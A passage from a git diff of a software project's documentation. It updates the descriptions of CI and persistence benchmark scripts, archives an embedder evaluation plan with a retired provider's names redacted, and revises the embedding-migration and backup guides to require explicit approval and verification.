imported SQL helpers, including grants, withdrawals, page state and persistence schemas. Tests: `test/scripts/build-pglite-snapshot.test.ts`, `test/snapshot-shape-guard.test.ts`, BrainBench CLI E2E and operator preload tests.
- `scripts/check-compile-autoload.sh` — CI scanner: every `bun build --compile` invocation (CLI one-liners carrying `--outfile`, or `['build', '--compile', …]` spawn arrays) in `package.json`, `CLAUDE.md`, `CONTRIBUTING.md`, `.github/`, `scripts/` and `docs/` must carry `--no-compile-autoload-bunfig`, because a compiled Bun binary otherwise auto-loads a cwd `bunfig.toml` and runs its `preload` before any gbrain code (before `cli-preflight.ts`). Prose that names the command without `--outfile` is ignored; `test/` compile helpers are out of scope (throwaway binaries run from temp dirs). Self-tested via `test/fixtures/guards/check-compile-autoload.sh/{bad,good}/`; wired as `check:compile-autoload` in verify CHECKS.
@@ -47,7 +49,7 @@ Current behavior and load-bearing invariants; history belongs in Git and CHANGEL
- `scripts/persistence/{matrix,matrix-cases}.ts` — required real Postgres/PgBouncer deployment matrix: 24 combinations of RLS policy enforcement, ordinary pool sizes 1/2/3 and shared/separate direct capacity. Production bulk reservations must leave short claims, renewals and reads usable; size-one publication stays queued. Fresh fixtures also verify successor manifests, stale owners, retained native lock exclusion during root replacement and source deletion/recreation. `test/e2e/persistence-runtime-matrix.test.ts` runs it when configured and refuses missing required pooler fixtures. Supplied URLs pass the test-database guard before its CREATE/DROP control connection uses the maintenance database; fresh case databases isolate it from other E2E shards.
-- `scripts/persistence/{performance,read-workload,read-metrics,read-admission}.ts` — required median-of-three read latency gate around the existing heavy query corpus. Both engines use public page mutation handlers; every read/write error invalidates the sample, the union of actual in-flight mutation intervals must cover at least 90% of reads, and loaded p99 may exceed idle p99 by at most 50%. Isolated child homes/databases, runtime/source manifests and queue/admission/commit/RSS/recovery/pool metrics keep evidence reproducible. The original `tests/heavy/read_latency_under_sync.sh` invokes this runner. The stable engine proxy observes resolved top-level admission transactions during warmup and measurement, excludes nested savepoints, and requires one prior admission per committed UUID. `test/persistence-performance.test.ts` guards idle-gap detection and invalid-sample/median gate semantics; `test/persistence-admission-observer.test.ts` proves actual rollback and publication boundaries on both engines.
+- `scripts/persistence/{performance,read-workload,read-metrics,read-admission,read-diagnostics}.ts` — required median-of-three read-workload validity check with advisory CI latency around the existing heavy query corpus (500 pages, 200 reads, four writers, writesPerWriter 25, four-connection PostgreSQL pool). Both engines use public page mutation handlers; every read/write or drained sampler error invalidates the sample, actual in-flight mutation intervals must cover at least 90% of reads, and CI reports the 50% loaded-versus-idle p99 threshold without blocking on that ratio. CI uses `--informational`, which never suppresses invalid-workload failures; the default CLI and explicit strict heavy runs still enforce the threshold. Isolated children retain runtime/source hashes, queue/admission/commit/RSS/recovery/pool metrics and bounded diagnostic records with total/dropped counts, including failed partial observations. Numeric query/corpus/write indices and monotonic timestamps correlate reads, admissions, terminal receipts and pool samples without retaining SQL, parameters, identifiers, content or raw errors. Fixed failure stages retain only allowlisted error properties; raw stacks are omitted. The root postgres.js begin observer covers lexical readers and writers, preserves the original promise/receiver/arguments, and excludes nested savepoints. Dispatch-to-callback includes BEGIN and client scheduling, not pure checkout wait; PGLite has no transaction-entry timing. Identical 20ms timers record event-loop lateness in both phases. Observers run during seed/warmup before measurement; context setup and read retention sit outside query timing where possible, but transaction/timer callbacks add unquantified overhead. No SQL or server sampling is added, and sparse pool samples cannot establish lock causes. The original `tests/heavy/read_latency_under_sync.sh` invokes this runner. The stable admission proxy requires one resolved top-level queued journal transaction per committed UUID. `test/persistence-performance.test.ts` guards validity, strict threshold semantics and advisory CLI exit behavior; `test/persistence-admission-observer.test.ts` proves rollback/publication boundaries; `test/persistence-read-diagnostics{,.serial}.test.ts` covers bounds, transparency, nested transactions, safe failure retention, tiny manifests and late sampler rejection.
- `scripts/r1-namedthing-rerank-ab.ts` — Phase C′ rule R1 receipt: balanced reranker ON vs OFF on NamedThingBench, paired per query, in ONE in-memory PGLite brain seeded ONCE with real embeddings (`seedNamedThingCorpus`; `--relational` adds `relational/corpus.ts` + its 38 `RELATIONAL_QUESTIONS`, which with the fixture's own `graph-relationship` query are the 39 relational questions the receipt reports beside the 11 non-relational core queries). Arms are applied with `engine.setConfig` (`ARM_PINS`: OFF = `search.mode balanced`, `search.reranker.enabled false`, `search.autocut false`; ON adds `search.reranker.enabled true` + `search.reranker.model voyage:rerank-2.5`; autocut pinned off in both by default — a rerank-only comparison — and `--autocut on|off` is an overlay applied to BOTH arms through `applyArmPins(engine, arm, overlay)` so the ON arm can run in the pre-R2 shipped balanced shape (autocut on) without changing the pinned defaults the tests pin), so bare `hybridSearch` resolves them the way a production balanced brain would; scoring reuses `runRetrievalQuality`/`evaluateGate` (no local hit@k). Per query it records deduped top-3, the rank-1 `evidence`/`create_safety` tier, finite-`rerank_score` row count and the `degraded` stamp. INVARIANTS: readiness (`rerankerReadinessForEngine`) is checked BEFORE any spend and the ON arm must show no `reranker_skipped`/`rerank_passthrough` stage and ≥1 reranked row per non-empty query, else exit 2 (fail-open would silently turn ON into OFF); embedding degradation (`embed_unavailable`/`embed_timeout`/`vector_arm_failed`) in a live arm is exit 2 too; `--embed-cache PATH` (`installEmbedCache`) makes both arms see byte-identical query vectors and the receipt says whether that held (`identical_query_vectors`). `r1Verdict` is pure: PASS iff hit@1 losses == 0 and hit@3 losses ≤ 1, losses counted per query (OFF hit, ON miss) and never offset by wins; create_safety downgrades are counted and named, not gated. A pass-through rerank transport tees the API-echoed model id + usage into the receipt. `--stub-embed` is the hermetic dry run (embed transport throws, OFF arm only, ON reported as skipped — needs `VOYAGE_API_KEY`). `--json` carries `_meta.metric_glossary` (`hit@1`, `hit@3`, `mrr`, `create_safety`); exit 0 PASS/dry-run · 1 FAIL · 2 integrity/usage. Receipt (shipped `balanced`, `voyage:rerank-2.5`): the 11 core queries show 0 hit@1 / 0 hit@3 losses in every cell; the 39 relational queries WITHOUT the relational re-pin fell hit@1 21→3 (19 losses) and hit@3 27→5 (22 losses) — R1 FAIL; WITH `search.relational_rerank_pin` at its default 3 (measured with `--autocut on`, the shape that shipped before rule R2 turned autocut off) 0 losses, hit@1 21/39 and hit@3 27/39 — R1 PASS, the balanced reranker stays ON. `--relational-pin N|off` overlays `search.relational_rerank_pin` on BOTH arms: the no-pin cell is `--relational-pin off` (or `0`); the default cell omits the flag and resolves the bundle default 3 exactly as production does. Pinned by `test/r1-namedthing-rerank-ab.test.ts`.
diff --git a/docs/designs/2026_05_EVAL_PLAN.md b/docs/designs/2026_05_EVAL_PLAN.md
index 19672622ed..7812a8eea4 100644
--- a/docs/designs/2026_05_EVAL_PLAN.md
+++ b/docs/designs/2026_05_EVAL_PLAN.md
@@ -1,8 +1,15 @@
# Embedder Shootout — May 2026 Eval Plan
-> **Historical note:** this plan predates the ZeroEntropy hosted-API sunset (2026-09-04); the ZeroEntropy cells below are historical.
+> **Historical, non-executable plan.** This May 2026 design predates the
+> hosted-provider retirement on 2026-09-04. Provider/model identifiers have
+> been replaced with generic archival labels; measurements, planned prices,
+> dimensions and dates are unchanged and are not evidence for a supported
+> replacement. Do not run any command in this plan. Original identifiers and
+> attribution are preserved at Git revision
+> `6040075c6cb95be5881cc2e1b76ef7d71f4e5d29` (retained on 2026-09-23).
-**Status:** approved, ready to execute
+
+**Status:** archived (original status: approved, ready to execute)
**Owner:** Garry
**Plan source:** `~/.claude/plans/system-instruction-you-are-working-linear-origami.md` (review log)
**Target wallclock:** ~2 weeks
@@ -15,14 +22,14 @@ multi-vendor gateway routing:
- **OpenAI** `text-embedding-3-large` @ 1536 dims
- **Voyage** `voyage-4-large` @ 2048 dims
-- **ZeroEntropy** `zembed-1` @ 2560 dims (also 1280 in a Matryoshka ablation)
+- **retired hosted provider** `retired-embedding-1` @ 2560 dims (also 1280 in a Matryoshka ablation)
-Each tested with and without the `zerank-2` reranker. Two corpora: public LongMemEval
+Each tested with and without the `retired-reranker-2` reranker. Two corpora: public LongMemEval
(500q) and BrainBench in-house (145 relational queries + 50 newly-curated Cat 13
embedder-sensitive queries).
The goal: produce a publishable comparison report that answers "which embedder wins,
-and does zerank-2 carry the win for ZeroEntropy" with bootstrap p-values, suitable
+and does retired-reranker-2 carry the win for retired hosted provider" with bootstrap p-values, suitable
for a v0.35.2.0 release-note headline.
## Why this design
@@ -38,7 +45,7 @@ the bottom of the linked plan):
expects answer text, not retrieval text).
- **`tokenmax` search mode** pinned across all cells (expansion + reranker slot active).
- **Serial execution** in one workspace. Clean rate-limit profile; first-contact run on
- ZE wants debuggable signal.
+ retired provider wants debuggable signal.
- **7-cell matrix** (no matched-dim cross-vendor row — no shared dim exists across
all three vendors; honest framing is "each vendor at marketed sweet spot").
@@ -47,7 +54,7 @@ the bottom of the linked plan):
- `content_chunks.embedding vector(N)` dim is fixed per brain. Per-question PGLite in
LongMemEval makes this free; BrainBench needs separate brain per cell.
- pgvector HNSW caps at **2000 dims** (`PGVECTOR_HNSW_VECTOR_MAX_DIMS` in
- `src/core/vector-index.ts:19`). Voyage 2048 and ZE 2560 fall back to exact vector
+ `src/core/vector-index.ts:19`). Voyage 2048 and retired provider 2560 fall back to exact vector
scan. Helps quality (no HNSW approximation) but adds latency. Footnoted in writeup.
- Reranker disable key is **`search.reranker.enabled false`**, NOT `reranker_model none`.
`tokenmax` mode defaults reranker=true.
@@ -58,12 +65,12 @@ the bottom of the linked plan):
| Cell | Embedder | Dim | HNSW | Reranker | Notes |
|---|---|---|---|---|---|
| A0 | `openai:text-embedding-3-large` | 1536 | yes | none | OpenAI baseline |
-| A1 | `openai:text-embedding-3-large` | 1536 | yes | `zerank-2` | mixed-vendor |
+| A1 | `openai:text-embedding-3-large` | 1536 | yes | `retired-reranker-2` | mixed-vendor |
| B0 | `voyage:voyage-4-large` | 2048 | no (exact) | none | Voyage solo |
-| B1 | `voyage:voyage-4-large` | 2048 | no (exact) | `zerank-2` | mixed-vendor |
-| C0 | `zeroentropyai:zembed-1` | 2560 | no (exact) | none | ZE embedder solo |
-| C1 | `zeroentropyai:zembed-1` | 2560 | no (exact) | `zerank-2` | **ZE full stack** |
-| C2 | `zeroentropyai:zembed-1` | 1280 | yes | `zerank-2` | ZE-Matryoshka ablation |
+| B1 | `voyage:voyage-4-large` | 2048 | no (exact) | `retired-reranker-2` | mixed-vendor |
+| C0 | `retired-provider:retired-embedding-1` | 2560 | no (exact) | none | retired provider embedder solo |
+| C1 | `retired-provider:retired-embedding-1` | 2560 | no (exact) | `retired-reranker-2` | **retired provider full stack** |
+| C2 | `retired-provider:retired-embedding-1` | 1280 | yes | `retired-reranker-2` | retired provider-Matryoshka ablation |
## PR structure — as few as possible
@@ -97,7 +104,7 @@ to hand off. Each session ends with a clean deliverable.
Three changes in one PR, bundled so the embedder shootout in gbrain-evals (PR β) has a
clean prereq baseline:
-1. Add `voyage:voyage-4-large` ($0.18/M) and `zeroentropyai:zembed-1` ($0.05/M) to the
+1. Add `voyage:voyage-4-large` ($0.18/M) and `retired-provider:retired-embedding-1` ($0.05/M) to the
embedding pricing table. Patch the `gbrain models doctor` cost estimator + test.
2. Expose `gbrain/ai/gateway` in `package.json` exports map so the gbrain-evals
adapters can call `configureGateway({embedding_model, embedding_dimensions, reranker_model})`
@@ -114,7 +121,7 @@ Ships at the end as v0.35.1.0.
### Commits (bisect-friendly, one feature per commit)
```
-1. feat(pricing): add voyage-4-large + zembed-1 to EMBEDDING_PRICING
+1. feat(pricing): add voyage-4-large + retired-embedding-1 to EMBEDDING_PRICING
- src/core/embedding-pricing.ts: add both entries
- test/embedding-pricing.test.ts: pin both with $0.18 and $0.05
- Verify: bun test test/embedding-pricing.test.ts
@@ -185,7 +192,7 @@ Wire the harness to drive 3 embedding providers via the newly-exposed gbrain gat
### Prereqs
- Session 1 done. gbrain master at v0.35.1.0.
- API keys present: `OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, `VOYAGE_API_KEY`,
- `ZEROENTROPY_API_KEY`. Smoke fails-loud on missing key.
+ `RETIRED_PROVIDER_API_KEY`. Smoke fails-loud on missing key.
### Commits
@@ -222,24 +229,24 @@ Wire the harness to drive 3 embedding providers via the newly-exposed gbrain gat
### Smoke verification (run manually before opening PR)
-> (Historical: the two `zeroentropyai:` commands below stop passing after
-> 2026-09-04 — do not run them. Only the non-ZE smokes remain runnable.)
+> (Historical: the two `retired-provider:` commands below stop passing after
+> 2026-09-04 — do not run them. No smoke command in this archived plan is current guidance.)
```bash
bun run eval:smoke -- --embedder openai:text-embedding-3-large --dim 1536
bun run eval:smoke -- --embedder voyage:voyage-4-large --dim 2048
-bun run eval:smoke -- --embedder zeroentropyai:zembed-1 --dim 2560 # historical
-bun run eval:smoke -- --embedder zeroentropyai:zembed-1 --dim 2560 --reranker zeroentropyai:zerank-2 # historical
+bun run eval:smoke -- --embedder retired-provider:retired-embedding-1 --dim 2560 # historical
+bun run eval:smoke -- --embedder retired-provider:retired-embedding-1 --dim 2560 --reranker retired-provider:retired-reranker-2 # historical
```
-The two non-ZE smokes MUST exit 0 (the ZE pair did at the time). Reports
+The two non-retired provider smokes MUST exit 0 (the retired provider pair did at the time). Reports
should print the observed vector dim, matching the configured dim.
### Open PR β
```bash
gh pr create --base main --title "feat: embedder shootout (adapter + smoke + Cat 13 + eval receipts)" --body "$(cat <<'EOF'
## Summary
-v0.35.0.0 shipped ZeroEntropy zembed-1 + zerank-2 reranker support. This PR runs a head-to-head A/B/C comparison across OpenAI, Voyage, and ZeroEntropy under the new gateway routing.
+v0.35.0.0 shipped retired hosted provider retired-embedding-1 + retired-reranker-2 reranker support. This PR runs a head-to-head A/B/C comparison across OpenAI, Voyage, and retired hosted provider under the new gateway routing.
This first commit batch lands the harness. Cat 13 curation, Phase 1+2 evals, and the
writeup follow in subsequent commits to this same PR.
@@ -355,7 +362,7 @@ hypotheses + a JSON file of correctness scores from `evaluate_qa.py`.
- `evaluate_qa.py` checked out somewhere (from
https://github.com/xiaowu0162/LongMemEval) with its own venv set up.
- API keys: `OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, `VOYAGE_API_KEY`,
- `ZEROENTROPY_API_KEY`.
+ `RETIRED_PROVIDER_API_KEY`.
### Wrapper script
Claude writes `scripts/run-shootout-phase1.sh` in the gbrain-evals branch. Single
@@ -452,12 +459,12 @@ bash scripts/run-shootout-phase2.sh 2>&1 | tee results/phase2-run-log.txt
1. **Headline table** — 7 cells × {LongMemEval correctness %, BrainBench relational MRR + P@5, Cat 13 correctness %, total cost}
2. **Two questions answered:**
- Which embedder wins solo? (A0 vs B0 vs C0)
- - Does zerank-2 carry ZE's win? (C0 vs C1 vs A1 vs B1)
- - Bonus: does dim matter for ZE? (C1 vs C2)
+ - Does retired-reranker-2 carry retired provider's win? (C0 vs C1 vs A1 vs B1)
+ - Bonus: does dim matter for retired provider? (C1 vs C2)
3. **Paired-bootstrap p-values** per headline pair (methodology in
`gbrain/docs/eval/SEARCH_MODE_METHODOLOGY.md`)
-4. **HNSW footnote** — Voyage 2048 and ZE 2560 used exact vector scan; OpenAI 1536
- and ZE 1280 used HNSW. Quality is primary, latency is secondary
+4. **HNSW footnote** — Voyage 2048 and retired provider 2560 used exact vector scan; OpenAI 1536
+ and retired provider 1280 used HNSW. Quality is primary, latency is secondary
5. **What this does NOT prove** — synthetic-only, tokenmax-only, no real-brain replay
6. **Recommendation:** explicit NON-recommendation to change `gbrain init` default;
defer to a v0.36.x evidence pass with real-brain replay data
@@ -554,8 +561,8 @@ JSONL preserved for resume).
| Failure | Recovery |
|---|---|
-| Voyage/ZE 429 rate-limit mid-cell | `gateway._shrinkState` halves safety_factor and retries. Cell continues. |
-| ZE 5MB rerank payload cap hit | `applyReranker` fail-opens, returns un-reranked results. Stderr warn. |
+| Voyage/retired provider 429 rate-limit mid-cell | `gateway._shrinkState` halves safety_factor and retries. Cell continues. |
+| retired provider 5MB rerank payload cap hit | `applyReranker` fail-opens, returns un-reranked results. Stderr warn. |
| Mid-cell OS interrupt / cost-cap abort | Re-run with `gbrain eval longmemeval --resume-from results/longmemeval-{cell}.jsonl`. Picks up where it left off. |
| `evaluate_qa.py` auth fail | OPENAI_API_KEY check in wrapper aborts before any spend. |
| Adapter typo (bad dim) | `EvalAdapterConfig` runtime assertion at constructor throws AIConfigError. Cell aborts before API call. |
@@ -579,7 +586,7 @@ JSONL preserved for resume).
- `gbrain eval longmemeval` CLI (in-tree, answer-gen mode default)
- gbrain-evals BrainBench runner (`eval:run`) — needs adapter parameterization but
per-cell test plumbing is reused
-- Gateway routing for Voyage + ZE (shipped v0.35.0.0)
+- Gateway routing for Voyage + retired provider (shipped v0.35.0.0)
- Reranker pipeline (`src/core/search/rerank.ts`, fail-open)
- Pricing table (extended, not rebuilt)
- Paired-bootstrap methodology (`docs/eval/SEARCH_MODE_METHODOLOGY.md`)
diff --git a/docs/designs/COMMUNITY_IDEAS.md b/docs/designs/COMMUNITY_IDEAS.md
index d8375f4aa9..316d47d2f0 100644
--- a/docs/designs/COMMUNITY_IDEAS.md
+++ b/docs/designs/COMMUNITY_IDEAS.md
@@ -110,7 +110,10 @@ these are the densest source of real bugs in the whole backlog.
*(A footgun that bites contributors of this very repo.)*
- **dim-aware embed write target** (#1263, @DmitryBMsk) — **OPEN, high.** `upsertChunks`
always writes the legacy `embedding vector(1536)` column, so brains on an alternate
- column (`embedding_ze halfvec(2560)`) fail with dim-mismatch on every write.
+ column (`embedding_retired_provider halfvec(2560)`) fail with dim-mismatch on every write.
+ The column label is redacted; the dimensions and attribution are unchanged. The
+ original label is retained at this path in revision
+ `6040075c6cb95be5881cc2e1b76ef7d71f4e5d29`.
- **Oversized chunks silently unembedded** (#1675, @lubos-buracinsky) — **OPEN, high.**
The code chunker emits giant literals/template strings whole; the embedder rejects
them and they vanish from semantic search. Cap chunk size so they stay embeddable.
diff --git a/docs/embedding-migrations.md b/docs/embedding-migrations.md
index 8c8e5e4d11..4124c5e935 100644
--- a/docs/embedding-migrations.md
+++ b/docs/embedding-migrations.md
@@ -5,7 +5,7 @@
> transition (all three dim-pinned columns), NULL-signature pages, the
> reranker companion switch, the query cache, locks, and resume-after-kill,
> and verifies the database before declaring anything done. Preview with
-> `--dry-run`; inspect state with `--status`. Leaving ZeroEntropy: follow
+> `--dry-run`; inspect state with `--status`. For the explicit-consent playbook, follow
> `skills/migrations/v0.46.3.0.md`. The manual recipes below remain as the
> appendix for unusual situations (they are what the dimension-mismatch
> error messages link to).
diff --git a/docs/guides/agent-to-gbrain.md b/docs/guides/agent-to-gbrain.md
index a56945c634..c7fcee3bca 100644
--- a/docs/guides/agent-to-gbrain.md
+++ b/docs/guides/agent-to-gbrain.md
@@ -194,8 +194,7 @@ worker env.
- **Free-form names.** `inherit:` accepts any snake_case config-key on your
worker — `database_url`, `anthropic_api_key`, `openai_api_key`,
`openrouter_api_key`, `voyage_api_key`, `groq_api_key`,
- `zeroentropy_api_key`, or any custom
- field you stuff into `~/.gbrain/config.json`. The agent picks what it
+ or any custom field you stuff into `~/.gbrain/config.json`. The agent picks what it
needs.
- **`env:` still works** for non-secret values, or for cases where you
WANT the value in the row (e.g. an opaque correlation token your audit
diff --git a/docs/guides/embedding-migration.md b/docs/guides/embedding-migration.md
index 1fd3cdd99e..c606419e35 100644
--- a/docs/guides/embedding-migration.md
+++ b/docs/guides/embedding-migration.md
@@ -1,14 +1,13 @@
# Embedding migration — moving a brain to another embedding provider
-`gbrain migrate embeddings` re-embeds an entire brain onto a different
-embedding provider/model, safely and resumably. It is the forward path off a
-sunsetting provider (for example ZeroEntropy's hosted API, which shuts down
-2026-09-04 and remains the configless runtime fallback for existing brains
-that never picked a model — new installs default to `voyage:voyage-4`) — but
-it is provider-agnostic: any configured `provider:model` works as a target.
+`gbrain migrate embeddings` re-embeds an entire brain onto a supported
+embedding provider/model, safely and resumably. It requires an explicit target
+and approval; upgrading or changing a default does not convert stored vectors.
+Inspect the intended brain with `--status`, keep a verified full backup, and
+coordinate quiescing embedding writers before approving a live run.
-Also reachable as `gbrain retrieval-upgrade` — the alias that `gbrain doctor`
-repair hints and the README point at.
+`gbrain retrieval-upgrade` is an alias for the same provider-agnostic migration
+command. It uses the same flags, preview, consent and verification workflow.
## Quick start
@@ -16,10 +15,10 @@ repair hints and the README point at.
# Preview the work + cost. Changes nothing.
gbrain migrate embeddings --to voyage:voyage-4 --dim 1024 --dry-run
-# Run it (interactive confirm shows chunk count + $ estimate first).
+# After reviewing the plan, run with interactive confirmation.
gbrain migrate embeddings --to voyage:voyage-4 --dim 1024
-# Non-interactive (cron / scripts): --yes is required, else exit 2.
+# Only after explicit approval: --yes is required non-interactively, else exit 2.
gbrain migrate embeddings --to voyage:voyage-4 --dim 1024 --yes
```
@@ -27,11 +26,6 @@ gbrain migrate embeddings --to voyage:voyage-4 --dim 1024 --yes
declared width and is required for recipes that don't declare one (litellm,
llama-server, and other bring-your-own-model providers).
-Targets on a provider with an announced shutdown are refused (a paid re-embed
-onto a dying API would strand the brain). Self-hosting a wire-compatible
-endpoint behind a `provider_base_urls` override? `--force-sunset-target` is
-the explicit escape hatch.
-
## Recommended targets
- **`voyage:voyage-4 --dim 1024`** (the default for new installs). One
@@ -55,44 +49,17 @@ plane, which the provider pipeline reads), or by editing
**Pick `--dim` = your brain's current column width when the target supports
it.** A different width triggers the destructive schema transition (column +
index rebuild across all three dim-pinned tables); the same width skips it
-entirely. `gbrain doctor` (check `provider_sunset`, for providers with an
-announced shutdown) prints target-aware paste-ready commands — the Voyage
-command at its valid 1024 width, plus an OpenAI keep-width alternative with
-your actual width filled in when that width is valid there — reading the real
-`vector(N)` column, not the config value, which can drift.
-
-## How affected brains find out (provider sunsets)
-
-Three surfaces flag a brain whose embedding model, reranker, or custom
-embedding columns are on a provider with an announced hosted-API shutdown,
-such as ZeroEntropy (2026-09-04):
-
-- **`gbrain doctor`** — the `provider_sunset` check warns on every run until
- the brain is off the provider. After the shutdown date it escalates to
- `fail` only when embedded vectors actually exist on the dead provider
- (retrieval is genuinely down); a zero-vector brain whose config merely
- resolves to the dead default stays `warn`, so doctor-as-CI-gate setups
- don't start exiting 1 on the date. The reranker side resolves through the
- same plane search actually reranks with (the mode bundle +
- `search.reranker.*` overrides), and ZE-backed custom `embedding_columns`
- entries are flagged too. The message carries target-aware paste-ready
- migration commands (Voyage at 1024; OpenAI keep-width when your width is
- valid there). Accepted the risk?
- `gbrain config set doctor.suppress_provider_sunset true` silences it.
-- **`gbrain upgrade`** — a one-shot banner (gated by
- `ze_sunset_notice_shown`) with the same two fixes, plus a stage-2 banner
- per brain.
-- **The `v0_46_3` version migration** (runs via `gbrain upgrade` /
- `gbrain apply-migrations`) — detect-and-notify only: it checks the host
- brain's exposure (embedding, reranker, custom columns), prints the ACTION
- REQUIRED block, and files an agent action item pointing at
- `skills/migrations/v0.46.3.0.md` in
- `~/.gbrain/migrations/pending-host-work.jsonl`. It never changes config or
- spends money on your behalf.
-
-All of them state the full consequence: after the shutdown, **existing
-vectors become unqueryable** — query embedding uses the same endpoint as
-ingestion — not just new content.
+entirely, but still requires re-embedding into the target model's space.
+
+Keeping the width does not make different models' vectors compatible. A model
+change still invalidates old fact and take vectors and clears the semantic
+query cache before publishing the new identity. The underlying memory text
+remains. Invalidation and its checkpoint commit with the database identity,
+so a same-target retry does not erase companion vectors already regenerated
+for the new model. Use `--status` to inspect remaining fact embeddings.
+Inspect the real column widths with `--status`; a configured dimension can
+drift from the database. An unsupported provider is not a migration target,
+even if a custom base URL still serves its old model.
## What it does, in order
@@ -145,12 +112,13 @@ ingestion — not just new content.
## What the rebuild deletes
-The dimension change **deletes every stored embedding vector** in the brain —
+The dimension change **deletes the stored vectors in the dim-pinned text columns** —
they are in the old model's space and unusable. They are not recoverable:
going back to the previous provider means paying for a second full re-embed.
-`content_chunks` vectors are rebuilt by the re-embed pass, the query cache
-refills on the next query, and fact embeddings are rewritten on their next
-write (or a `gbrain extract` pass).
+`content_chunks` vectors are rebuilt by the re-embed pass. Semantic result
+caching remains disabled. Fact-vector repair is separate and explicitly
+consented; see [fact-vector repair](../embedding-migrations.md). Image and
+multimodal columns are not part of this text-space rebuild.
## Resume after a kill
@@ -208,8 +176,8 @@ vector spaces in one index, degrading retrieval with nothing in the logs.
The migration handles the reranker in the same run (`--reranker auto` is the
default): when the ACTIVE reranker — resolved through the mode bundles, so
-the common no-explicit-config case counts — is on the outgoing provider or a
-sunsetting one, and the target provider ships a reranker, the run probes it
+the common no-explicit-config case counts — is unsupported or is on the
+outgoing provider, and the target provider ships a reranker, the run probes it
live and switches `search.reranker.model` under the same consent gate (config
write + query-cache purge in one transaction). Overrides: `--reranker off`
disables reranking, `--reranker keep` leaves it, `--reranker
@@ -235,23 +203,24 @@ run.
## Custom embedding columns
There is **no automated off-ramp for custom `embedding_columns` entries**:
-`migrate embeddings` covers the primary column only. Re-declare each custom
-column's config on the new provider and re-embed its content, or drop the
-column config.
-
-## Self-hosting instead of migrating
-
-If the outgoing model's weights are available (zembed-1's are Apache-2.0),
-self-hosting preserves your existing vectors — no re-embed at all — but only
-when the embedding signature doesn't change: keep the SAME model id
-(`zeroentropyai:zembed-1`) and point its base URL at your endpoint with
-`gbrain config set provider_base_urls.zeroentropyai <url>`. The endpoint
-must speak ZeroEntropy's wire dialect (`/models/embed`,
-`{results: [...]}` responses) — the model id routes through a ZE-specific
-compat fetch, so a generic OpenAI-compatible `llama-server` or Ollama
-endpoint will NOT work without a compat proxy in front. Switching the
-provider id instead (e.g. `llama-server:zembed-1`) changes
-`pages.embedding_signature`, and the next stale-embed pass re-embeds
-everything — a full re-embed, not a zero-cost move. This path lasts only
-until the `zeroentropyai` recipe is deleted (scheduled for a September 2026 release). The
-migration command is for when you'd rather move to a hosted provider.
+`migrate embeddings` covers the primary column only. Changing a custom
+column's model label does not convert its vectors. Plan a separate replacement
+and re-embed, or remove it, only with the owner's explicit approval.
+
+## Local targets and unsupported provider IDs
+
+Fresh installs use `voyage:voyage-4` at 1024 dimensions. An existing brain
+without an explicit embedding model does not inherit that default: semantic
+embedding is unavailable, while keyword search, page reads and migration
+status remain usable. Schema initialization preserves a recorded model and
+column width; if the stored model is missing, it refuses rather than guessing.
+Re-running `init` cannot assign a different model to populated vectors, even
+when the widths match. Inspect `--status`, keep a verified backup and preview
+an explicit migration instead of editing labels to make the warning disappear.
+
+Local providers such as Ollama, llama-server and LM Studio can be explicit
+migration targets. Select the model actually served and its output width;
+changing a provider ID changes the embedding signature and is not proof that
+old vectors are compatible. Do not rewrite stored signatures to bypass the
+re-embed. Removed provider IDs and their former base-URL compatibility paths
+are no longer supported; use a supported recipe and an approved migration.
diff --git a/docs/guides/in-agent-setup.md b/docs/guides/in-agent-setup.md
index 85a4e31590..5949d304d0 100644
--- a/docs/guides/in-agent-setup.md
+++ b/docs/guides/in-agent-setup.md
@@ -179,7 +179,13 @@ chmod 700 /workspace/gbrain-backups
Each output filename must be new. The command holds the real PGLite writer
lock, takes a full database dump, checks the managed file inventory for changes,
-and publishes a checksummed archive with mode `0600`. A busy database or a
+and publishes a checksummed archive with POSIX mode `0600`. On Windows, built-in
+Windows PowerShell establishes and verifies access for the current owner and
+SYSTEM before writing backup payloads. It protects only newly created backup
+paths, never changes existing parent permissions, and refuses with
+`private_backup_path_unavailable` if enforcement is unavailable. Use a new private
+destination on a local filesystem with Windows ACL support and permitted
+Windows PowerShell. A busy database or a
changing file fails the operation instead of publishing a success receipt.
| Included | Excluded or inventoried for reconnection |
@@ -220,6 +226,14 @@ cancels every unfinished background job in one transaction, preserving its
previous status for inspection. Completed history remains. No worker, connector,
sync, native routine, or paid operation starts.
+Archive paths are portable forward-slash names; traversal, reserved Windows
+names and ambiguous case or normalization collisions are rejected. Recognized
+nested paths are rebased using the recorded platform's path rules. Unrecognized
+legacy absolute page origins remain unchanged and appear in the reconnect
+inventory for review before sync. Remembered text is never rewritten to replace
+old paths, and restoration is not a promise that every historical origin is
+portable.
+
External checkout and API sources keep their remembered pages available, but
their live connector configuration is quarantined and sync is disabled. The
prior configuration is retained in the private `.gbrain/restore-detached.json`
diff --git a/docs/guides/minions-shell-jobs.md b/docs/guides/minions-shell-jobs.md
index 422b89885a..36c759f786 100644
--- a/docs/guides/minions-shell-jobs.md
+++ b/docs/guides/minions-shell-jobs.md
@@ -164,7 +164,7 @@ child-spawn time:
- `inherit: ["openai_api_key"]` → child env `OPENAI_API_KEY`
- `inherit: ["openrouter_api_key"]` → child env `OPENROUTER_API_KEY`
- `inherit: ["voyage_api_key"]` → child env `VOYAGE_API_KEY`
-- `inherit: ["groq_api_key", "zeroentropy_api_key"]` → both injected
+- `inherit: ["groq_api_key"]` → child env `GROQ_API_KEY`
- Or any arbitrary config-key your worker has (`my_custom_field` →
`MY_CUSTOM_FIELD`)
diff --git a/docs/integrations/embedding-providers.md b/docs/integrations/embedding-providers.md
index 74887c2143..e7a5c8535f 100644
--- a/docs/integrations/embedding-providers.md
+++ b/docs/integrations/embedding-providers.md
@@ -1,6 +1,6 @@
# Embedding providers
-GBrain ships with 17 embedding-provider recipes covering Voyage (the default), OpenAI, OpenRouter (single key, many hosted models), the major hosted alternatives, four local options, a universal escape hatch (LiteLLM proxy), and the deprecated ZeroEntropy recipe (hosted API shuts down 2026-09-04). Run `gbrain providers list` to see the live registry; `gbrain providers explain --json` emits a machine-readable matrix for agents.
+GBrain ships provider recipes covering Voyage (the new-install default), OpenAI, OpenRouter (single key, many hosted models), the major hosted alternatives, local options, and a universal escape hatch (LiteLLM proxy). Run `gbrain providers list` to see the live registry; `gbrain providers explain --json` emits a machine-readable matrix for agents.
This page is the human-readable counterpart: capability per provider, env-var setup, dimensions, cost, and known constraints.
